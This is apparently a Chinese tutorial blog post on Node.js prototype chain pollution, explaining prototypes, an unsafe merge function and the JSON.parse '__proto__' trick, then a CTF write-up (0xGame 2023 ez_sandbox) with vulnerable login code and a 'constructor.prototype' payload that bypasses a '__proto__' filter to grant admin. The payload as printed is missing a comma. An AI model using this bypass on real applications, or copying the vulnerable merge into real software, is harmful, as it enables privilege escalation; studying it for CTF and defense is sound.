Nodejs原型链污染学习


前置知识

JavaScript数据类型

let和var关键字的区别

使用var或let关键字可以定义变量

let和var的区别如下:

  1. var是全局作用域,let 只在当前代码块内有效
  2. 当在代码块外访问let声明的变量时会报错
  3. var有变量提升,let没有变量提升
  4. let必须先声明再使用,否则报Uncaught ReferenceError xxx is not defined;var可以在声明前访问,只是会报undefined
  5. let变量不能重复声明,var变量可以重复声明

普通变量

var a=1;
let b=2;

数组变量

var a = new Array();
var b= [];

字典

var a = {};
var b= {"foo":"bar"};

prototype原型

JavaScript只有一种结构:对象。每个实例对象(object)都有一个私有属性(称之为__proto__)指向它的构造函数的原型对象(prototype)。该原型对象也有一个自己的原型对象(__proto__),层层向上知道一个对象的原型对象为null。

实例图
在这里插入图片描述我们编写代码测试下
源码

function Son(){};
var son = new Son();
console.log(Son.prototype)
console.log(son.__proto__)
console.log(Son.prototype == son.__proto__)

不难发现Son.prototype == son.__proto__是成立的
在这里插入图片描述

然后再了解下继承

原型是继承的基础,JavaScript中原型链可以通过prototype这个属性来实现继承机制

实例代码

function Father(){
    this.first_name = 'Donald'
    this.last_name = 'Trump'
}
function Son(){
    this.first_name = 'Melania'
}
Son.prototype = new Father()
let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)

这里的Son继承了Father类,在调用son.last_name时,首先在son对象里找,如果没有找到,就会在son.__proto__(也就是Son.prototype),找不到就再往上son.__proto__.__proto__里找 ,知道null为止

在这里插入图片描述

同步和异步

Node.js 文件系统(fs 模块)模块中的方法均有异步和同步版本,例如读取文件内容的函数有异步的 fs.readFile() 和同步的
fs.readFileSync()。异步的方法函数最后一个参数为回调函数,回调函数的第一个参数包含了错误信息(error)。

很简单理解,当你先读取文件输出后输出一段话的时候
同步:先输出文件内容,再输出一段话
异步:先输出一段话,后输出文件内容

就比如,涉及同步和异步的问题我们使用的exec是异步进程,在我们输入ls,查取目录时,就已经eval执行了,所以我们要使用创造同步进程的函数如execSync

child_process模块

child_process提供了几种创建子进程的方式

异步方式:spawn、exec、execFile、fork
同步方式:spawnSync、execSync、execFileSync
经过上面的同步和异步思想的理解,创建子进程的同步异步方式应该不难理解。
在异步创建进程时,spawn是基础,其他的fork、exec、execFile都是基于spawn来生成的。
同步创建进程可以使用child_process.spawnSync()、child_process.execSync() 和 child_process.execFileSync() ,同步的方法会阻塞 Node.js 事件循环、暂停任何其他代码的执行,直到子进程退出。

其中的一些函数,在一些情况下,可以导致命令执行漏洞

原型链污染

下面用代码解释下

let foo = {bar: 1}
console.log(foo.bar)
foo.__proto__.bar = 2
console.log(foo.bar)
let zoo = {}
console.log(zoo.bar)

可以发现当我们修改foo的原型时,由于查找顺序的原因,foo.bar仍为1;如果我们重新创建空对象,发现成功进行原型链污染
在这里插入图片描述

利用条件

原型链污染在哪些情况下可以实现呢,其实找找能够控制数组(对象)的“键名”的操作即可

  • 对象merge
  • 对象clone(其实内核就是将待操作的对象merge到一个空对象中)

比如merge函数

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

在合并的过程中,存在赋值的操作target[key] = source[key],那么,这个key如果是__proto__,是不是就可以原型链污染呢?
添加如下代码测试

let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

可以发现合并虽然成功了,但原型链没有被污染
在这里插入图片描述
这是因为,我们用JavaScript创建o2的过程(let o2 = {a: 1, "__proto__": {b: 2}})中,__proto__已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b],__proto__并不是一个key,自然也不会修改Object的原型。

绕过方法很简单,修改代码如下

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

在这里插入图片描述
这是因为,JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。

merge操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。

实例

[0xGame 2023]week2 ez_sandbox
关键源码如下

var users = {}
var admins = {}

function merge(target, source) {
    for (let key in source) {
        if (key === '__proto__') {
            continue
        }
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
    return target
}

function clone(source) {
    return merge({}, source)
}

app.post('/login', function(req, res) {
    let { username, password } = clone(req.body)

    if (username in users && password === users[username]) {
        req.session.user = username

        if (username in admins) {
            req.session.role = 'admin'
        } else {
            req.session.role = 'guest'
        }

        res.send({
            'message': 'login success'
        })
    } else {
        res.send({
            'message': 'login failed'
        })
    }
})

可以知道源码有merge函数,可以造成原型链污染。这里过滤了__proto__,那么我们用constructor.prototype绕过;登陆成功条件为username in users

我们先注册⼀个 test 用户, 在登录时 POST 如下内容, 污染 admins 对象, 使得 username in admins 表达式的结果为True

{
    "username": "test",
    "password": "test"
    "constructor": {
        "prototype": {
            "test": "123"
        }
    }
}

先bp抓包发送
在这里插入图片描述

然后输入test,test登陆成功,并且成功污染
在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

_rev1ve

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值